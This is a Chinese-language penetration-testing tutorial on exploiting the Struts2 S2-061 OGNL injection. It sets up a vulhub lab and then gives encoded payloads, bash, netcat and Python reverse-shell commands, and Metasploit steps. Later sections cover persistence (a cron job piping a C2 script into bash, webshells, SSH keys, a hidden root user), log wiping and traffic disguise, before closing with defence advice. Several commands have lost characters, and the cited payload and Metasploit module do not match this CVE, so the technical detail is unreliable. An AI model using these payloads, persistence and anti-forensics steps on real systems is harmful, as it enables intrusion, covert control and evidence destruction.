1. 项目概述为什么Struts2漏洞是渗透测试的必修课如果你在甲方做安全运维或者在乙方做渗透测试Struts2这个框架的名字大概率会让你心头一紧。它不像Spring Boot那样“新潮”但在过去十几年里大量遗留的、甚至仍在运行的企业级Web应用都构建在Struts2之上。这就意味着针对Struts2的漏洞利用从来都不是一个过时的技术话题而是渗透测试工程师武器库里的“常青树”。我处理过不少应急响应攻击的入口点往往就是一个陈旧的Struts2漏洞攻击者利用它轻松拿到一个Webshell进而内网横向移动。所以无论你是想系统学习渗透测试还是想加固自家资产深入理解Struts2的漏洞原理和利用手法都是一项绕不开的核心技能。这次我们不空谈理论直接聚焦一个近年来仍有广泛影响的实战漏洞S2-061CVE-2020-17530。选择它作为案例是因为它完美体现了Struts2漏洞的“经典”模式——OGNL表达式注入。通过这个案例你将不仅学会如何“打”一个漏洞更能透彻理解Struts2框架的安全机制为何如此脆弱以及攻击者是如何一步步将看似无害的参数输入变成执行系统命令的“后门”。我们会从环境搭建开始一步步分析漏洞原理、手把手构造利用载荷Payload并完成从漏洞验证到获取反向Shell的完整过程。最后我还会分享几个在实战中容易踩坑的点和排查技巧这些都是文档里不会写的“血泪经验”。2. 漏洞原理深度拆解OGNL表达式注入是如何发生的要理解Struts2的漏洞必须先理解它的两大核心拦截器Interceptor和OGNLObject-Graph Navigation Language表达式。你可以把Struts2处理一次HTTP请求的过程想象成一条流水线拦截器就是流水线上的各个加工站负责处理参数、验证、类型转换等工作。而OGNL则是这条流水线上的一种“通用语言”它被用来在各个加工站之间传递和计算数据比如从请求参数里取值、给Java对象的属性赋值、甚至执行一些简单的逻辑判断。2.1 OGNL强大但危险的双刃剑OGNL本身非常强大它允许开发者在配置文件中用类似#{user.name}这样的表达式动态地获取或设置值。问题在于Struts2为了让这套机制更灵活在某些场景下允许将用户输入的参数值直接作为OGNL表达式的一部分进行解析。这就埋下了巨大的安全隐患。想象一下你有一个表单提交了一个参数nameKali。在正常情况下Struts2可能只是把这个字符串赋值给某个对象的name属性。但在某些特定的标签如s:textfield或属性如id的解析过程中如果框架对用户输入的处理不当Kali就可能不再被当作一个普通的字符串而是被当作一段OGNL代码来执行。攻击者只需要将Kali替换成一段精心构造的恶意OGNL表达式比如执行系统命令的代码漏洞就被触发了。2.2 S2-061漏洞的触发点分析S2-061漏洞发生在对标签属性内的OGNL表达式进行二次解析时。官方描述比较晦涩我们用更直白的话来说当Struts2处理某些标签比如用于国际化的s:i18n标签的name属性时它会先对属性值进行一次OGNL解析。如果解析结果仍然是一个OGNL表达式在某些低版本或配置不当的情况下框架会错误地对这个结果再进行一次解析。这就好比你去取快递快递员第一次解析根据你给的取件码用户输入给了你一个盒子。你打开盒子发现里面不是商品而是另一张写着取件码的纸条第一次解析的结果仍然是表达式。正常情况下你应该停止但漏洞环境下的快递站框架会不假思索地拿着这张新纸条再去帮你取一次快递第二次解析。攻击者要做的就是精心构造第一个“取件码”让它解析出来的“纸条”上写着能执行系统命令的OGNL代码。2.3 从原理到利用的关键跳板理解了这个“二次解析”的原理利用思路就清晰了。我们的目标就是构造一个Payload它经过第一次OGNL解析后生成的结果是另一段能执行命令的OGNL表达式。这个“子表达式”通常需要访问一些Struts2内部对象来达到执行命令的目的。最常用的一个跳板对象就是#_memberAccess这个对象控制着OGNL的访问权限比如是否允许调用静态方法、是否允许修改对象等。在早期版本或某些特定配置下我们可以通过修改#_memberAccess的权限开关为后续执行命令铺平道路。注意不同Struts2版本、不同漏洞编号如S2-045, S2-046, S2-048等其触发的具体拦截器、可利用的标签和属性可能完全不同但核心利用思想一脉相承寻找用户输入被当作OGNL表达式执行的点并构造链式调用完成命令执行。S2-061只是其中一个典型案例。3. 靶场环境搭建与漏洞验证“纸上得来终觉浅绝知此事要躬行。” 安全研究尤其如此。我们将在本地搭建一个包含S2-061漏洞的Struts2应用靶场并使用Docker快速部署确保环境一致且不影响宿主机。3.1 使用Docker快速部署漏洞环境我强烈推荐使用vulhub这个开源漏洞靶场项目它集成了大量常见漏洞的环境一键启动非常方便。# 1. 克隆 vulhub 仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub # 2. 进入 Struts2 S2-061 漏洞目录 cd struts2/s2-061 # 3. 使用 docker-compose 启动漏洞环境 docker-compose up -d执行上述命令后Docker会拉取镜像并启动一个Tomcat容器里面运行着存在S2-061漏洞的Struts2示例应用。通常应用会在http://your-ip:8080上运行。你可以用docker ps查看容器状态用docker-compose logs查看启动日志。3.2 漏洞验证POC构造与测试环境起来后我们先用一个最简单的验证性PayloadProof of Concept来测试漏洞是否存在。这个Payload的目标是执行一个无害的命令比如计算11或者回显一个字符串。一个典型的S2-061验证Payload如下通过GET请求传递http://your-ip:8080/?id%25%7B(%27%27%2B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%29%2C%28%27%27%2B%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%29%2C%28%27%27%2B%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27calc%27%29%29%29%29%29%7D这个URL看起来非常恐怖但它只是经过URL编码后的样子。它的核心逻辑是%25%7B和%7D是%{和}的URL编码这是Struts2中强制解析OGNL表达式的语法。表达式内部首先设置#_memberAccess[“allowStaticMethodAccess”]true允许调用静态方法。然后设置#context[“xwork.MethodAccessor.denyMethodExecution”]false允许方法执行。最后通过java.lang.RuntimegetRuntime().exec(‘calc’)调用Java的Runtime类执行calc命令弹出计算器。重要提示上面的Payload是用于概念验证的经典格式但在实际测试中直接使用它可能不成功因为漏洞利用对Struts2版本、JDK版本非常敏感。#_memberAccess这个对象在高版本中可能已被修复或无法访问。因此我们更需要掌握的是构造Payload的思路和方法而不是死记一个Payload。更可靠的验证方法是使用一个能触发回显的Payload比如执行whoami或id命令并将结果输出到HTTP响应中。这涉及到更复杂的OGNL表达式用于读取命令执行的结果。我们可以先使用一个简单的探测Payload检查漏洞点是否可被触发# 使用curl发送一个包含简单OGNL表达式的请求尝试触发错误或异常这常能间接证明漏洞存在。 curl -v http://192.168.1.100:8080/?id%25%7B1%2B1%7D如果服务器返回了错误信息并且错误堆栈中包含了OGNL相关的字样那么很可能存在OGNL表达式注入点。4. 漏洞利用实战从命令执行到反向Shell验证漏洞存在只是第一步作为渗透测试者我们的目标是获得一个稳定的、交互式的控制通道也就是Shell。4.1 命令执行Payload的构造与编码直接执行ls或whoami很简单但要想执行带参数的命令、或者处理命令执行结果的回显就需要精心构造OGNL表达式。由于OGNL表达式在HTTP请求中传输我们必须处理特殊字符如空格、引号、管道符|、重定向等的编码问题。一个常见的技巧是使用字符连接来绕过对空格的过滤。在OGNL中可以用连接字符串也可以用\u0020空格的Unicode来表示空格。例如执行ls -la /tmp的命令可以构造为l s \u0020 - l a \u0020 /tmp然而手动构造这些非常繁琐且容易出错。因此在实际渗透测试中我们几乎总是使用现成的工具或脚本来自动化这个过程比如Struts2-Scan、MSFMetasploit Framework或者自己编写的Python脚本。这些工具内置了针对不同Struts2漏洞的Payload库并能自动处理编码和发送。4.2 获取反向Shell的完整流程在不能直接看到回显的“盲打”场景下反向ShellReverse Shell是标准做法。思路是让靶机主动连接我们控制端的监听端口从而建立一个Shell会话。步骤一在攻击机Kali Linux上开启监听我们使用最经典的Netcat进行监听nc -lvnp 4444这条命令会在本地的4444端口启动一个监听器-l监听-v详细输出-n不解析域名-p指定端口。步骤二构造执行反向Shell命令的Payload我们需要让靶机执行一条命令这条命令能创建一个连接到我们攻击机的TCP会话并绑定一个Shell。在Linux下常用的命令有Bash:bash -i /dev/tcp/192.168.1.50/4444 01Netcat (传统版):nc 192.168.1.50 4444 -e /bin/bashPython:python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.50,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);你需要将192.168.1.50替换成你攻击机的真实IP地址。步骤三将Shell命令嵌入OGNL Payload并发送这是最关键的步骤。我们需要将上述复杂的Shell命令字符串作为参数传递给Runtime.exec()。由于命令中包含大量特殊字符,,/,空格,引号直接放入OGNL表达式会解析失败。因此通常需要多层编码对Shell命令进行Base64编码可选可以避免一些特殊字符问题。将编码后的命令字符串嵌入到经过URL编码的OGNL表达式中。这个过程极其复杂手动完成几乎不可能。因此强烈建议使用自动化工具。例如使用MSF的exploit/multi/http/struts2_content_type_ognl模块只需设置好目标IP、漏洞路径如TARGETURI/、以及你的监听IP和端口模块会自动选择匹配的Payload并进行编码发送。4.3 利用工具进行自动化攻击以MSF为例启动MSF在Kali中打开终端输入msfconsole。搜索并加载模块search struts2 s2-061 use exploit/multi/http/struts2_content_type_ognl设置参数set RHOSTS 192.168.1.100 # 靶机IP set RPORT 8080 # 靶机端口 set TARGETURI / # 漏洞路径根据实际应用调整 set LHOST 192.168.1.50 # 你的攻击机IP set LPORT 4444 # 监听端口执行攻击exploit如果漏洞存在且利用成功你会在MSF的终端里看到一个新的meterpreter会话或者一个普通的Shell会话。此时你就获得了靶机的控制权。实操心得在实战中直接使用Runtime.exec()执行bash或nc命令可能会失败原因可能是靶机环境没有这些工具或者路径不对。一个更稳健的方法是先使用which bash、which python3、which sh等命令探测可用的解释器然后再构造对应的Payload。或者优先使用Python反弹Shell因为Python在服务器上的普及率很高且Payload相对稳定。5. 渗透测试中的进阶技巧与深度利用拿到一个Web Shell只是开始。一个有经验的渗透测试工程师会思考如何扩大战果、维持访问、以及更隐蔽地行动。5.1 信息收集与内网探测一旦获得Shell应立即进行基础信息收集为后续可能的横向移动做准备系统信息uname -a(内核)cat /etc/os-release(系统版本)hostname。用户信息idwhoamicat /etc/passwd。网络信息ifconfig或ip addrnetstat -antp(查看网络连接和监听端口)cat /etc/hosts。进程信息ps aux 寻找其他服务、数据库、中间件进程。敏感文件尝试寻找Web配置文件、数据库连接文件、SSH密钥、历史命令文件 (~/.bash_history) 等。# 一个快速信息收集的命令组合 (id; whoami; uname -a; cat /etc/os-release; ifconfig 2/dev/null || ip addr; netstat -antp 2/dev/null || ss -antp) | tee /tmp/info.txt5.2 权限维持与后门部署为了防止管理员修复漏洞后失去访问权限需要考虑权限维持。Web后门在Web目录下上传一个一句话木马如JSP、PHP这是最直接的方式。但容易被Webshell查杀工具发现。计划任务Cron添加一个定时任务定期连接你的C2服务器。# 编辑当前用户的crontab (crontab -l 2/dev/null; echo */5 * * * * curl http://your-c2.com/shell.sh | bash) | crontab -SSH密钥植入如果当前用户有写~/.ssh/authorized_keys的权限可以植入你的公钥实现免密登录。创建隐藏用户在/etc/passwd中添加一个UID为0root权限的隐藏用户注意手法需要根据系统调整且风险较高易被发现。5.3 隐蔽与反溯源措施在渗透测试尤其是授权测试中保持隐蔽和清理痕迹同样重要。使用加密通道反向Shell尽量使用加密方式如MSF的meterpreter或使用openssl加密的NC。清理日志根据系统类型清理或篡改相关的日志文件如/var/log/auth.log(登录日志)、/var/log/apache2/access.log(Web访问日志) 等。但要注意很多系统配置了日志外发或审计清理本地日志可能无效。使用内存执行尽量避免在磁盘上留下后门文件使用无文件攻击技术如通过python或php直接在内存中加载和执行Payload。流量伪装将C2通信流量伪装成正常的HTTPS、DNS等协议以绕过网络层检测。6. 常见问题、排查技巧与防御建议在实际操作中你一定会遇到各种问题。下面是我总结的一些常见坑点和排查思路。6.1 漏洞利用失败原因排查表问题现象可能原因排查思路与解决方案发送Payload后无任何反应或返回正常页面。1. 目标不存在该漏洞。2. 使用的漏洞路径TARGETURI不正确。3. Payload针对的Struts2版本或配置不对。1. 使用多种漏洞检测工具如Struts2-Scan扫描确认漏洞存在性。2. 尝试访问应用的不同功能点寻找可能触发漏洞的接口。3. 查看服务器错误日志如Tomcat的catalina.out看是否有OGNL解析错误。返回500错误但错误信息显示OGNL解析失败而非命令执行成功。1. OGNL表达式语法错误或编码问题。2. 使用的Java类或方法在目标环境中不存在或不可访问如高版本JDK限制。3.#_memberAccess等关键对象被修复。1. 使用工具自动生成Payload避免手动编码错误。2. 尝试更通用的Payload避免依赖特定类。例如尝试使用ProcessBuilder代替Runtime.exec。3. 研究针对特定版本Struts2和JDK组合的绕过技巧。命令执行成功如ping命令能通但无法获得反向Shell连接。1. 攻击机防火墙或安全策略阻止了入站连接。2. 靶机出网受限无外网IP或存在出站防火墙。3. 反向Shell命令本身在靶机环境不兼容。1. 检查攻击机是否在指定端口如4444开启了监听并确认防火墙规则。2. 尝试让靶机执行curl http://your-ip或ping your-ip测试靶机是否能访问你的IP。3. 尝试多种反向Shell命令bash, python, perl, php等并确保命令中的IP和端口正确。获得Shell后极不稳定很快断开。1. 网络不稳定。2. Shell环境问题如没有TTY。3. 安全软件中断了异常进程。1. 使用更稳定的通道如MSF的meterpreter。2. 在Shell中尝试使用python -c ‘import pty; pty.spawn(“/bin/bash”)’来获取一个交互式TTY。3. 检查进程是否被杀死。6.2 针对Struts2漏洞的防御建议如果你是防御方以下措施至关重要升级升级升级这是最根本、最有效的措施。及时将Struts2框架升级到官方发布的最新安全版本。关注Apache Struts官方安全公告。禁用动态方法调用DMI和OGNL表达式执行在Struts2的配置文件struts.xml中设置struts.enable.DynamicMethodInvocationfalse和struts.ognl.allowStaticMethodAccessfalse。输入过滤与验证对所有用户输入进行严格的过滤和验证特别是对于可能传递给OGNL解析器的参数如某些标签属性。部署Web应用防火墙WAF配置WAF规则拦截常见的Struts2漏洞攻击特征如包含%{、#_memberAccess、Runtime.exec等关键词的请求。最小权限原则运行Tomcat或应用服务器的操作系统用户应使用非root、低权限账户。这样即使被攻破攻击者获得的权限也有限。纵深防御与监控加强主机安全防护HIDS监控异常进程、网络连接和文件操作。集中收集和分析Web访问日志、应用错误日志及时发现攻击行为。渗透测试的本质是模拟攻击者的思维和行为以发现防御体系的薄弱环节。通过对Struts2 S2-061漏洞的深入研究和实战演练我们不仅掌握了一种具体的攻击技术更重要的是理解了“表达式注入”这类漏洞的通用原理和防御思想。在实战中没有“银弹”Payload成功的利用往往建立在对目标环境细致的信息收集、对漏洞原理的深刻理解以及不断的尝试和调整之上。保持学习保持谨慎时刻从攻防两个角度思考问题这才是安全从业者的核心能力。